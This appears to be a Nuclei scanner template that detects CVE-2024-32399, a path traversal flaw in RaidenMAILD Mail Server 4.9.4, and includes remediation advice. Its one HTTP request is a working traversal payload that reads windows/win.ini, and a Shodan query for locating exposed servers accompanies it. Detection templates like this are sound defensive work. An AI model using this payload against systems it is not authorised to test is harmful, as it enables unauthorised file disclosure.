id: CVE-2024-32399

info:
  name: RaidenMAILD Mail Server v.4.9.4 - Path Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    Directory Traversal vulnerability in RaidenMAILD Mail Server v.4.9.4 and before allows a remote attacker to obtain sensitive information via the /webeditor/ component.
  impact: |
    Attackers can traverse directories to obtain sensitive information from the mail server.
  remediation: |
    Update RaidenMAILD to a version later than 4.9.4 that patches the directory traversal vulnerability.
  reference:
    - https://owasp.org/www-community/attacks/Path_Traversal
    - https://github.com/NN0b0dy/CVE-2024-32399/blob/main/README.md
    - https://github.com/NN0b0dy/c01/blob/main/01.pdf
    - https://github.com/NN0b0dy/CVE-2024-32399
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cve-id: CVE-2024-32399
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
    cvss-score: 7.6
    epss-score: 0.83509
    epss-percentile: 0.99294
    cpe: cpe:2.3:a:raidenmaild:raidenmaild:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"RaidenMAILD"
    product: raidenmaild
    vendor: raidenmaild
  tags: cve,cve2024,lfi,raiden,mail,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webeditor/../../../windows/win.ini"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "[fonts]", "for 16-bit app support")'
          - 'contains(header, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502202cb150451d58a8069872b81893f190ff3b7c9d24decace9cc731831b59be7e75022100977da5be4f2ab8637a0a844673e182392b56738761fbc677196780e03e599541:922c64590222798bb761d5b6d8e72950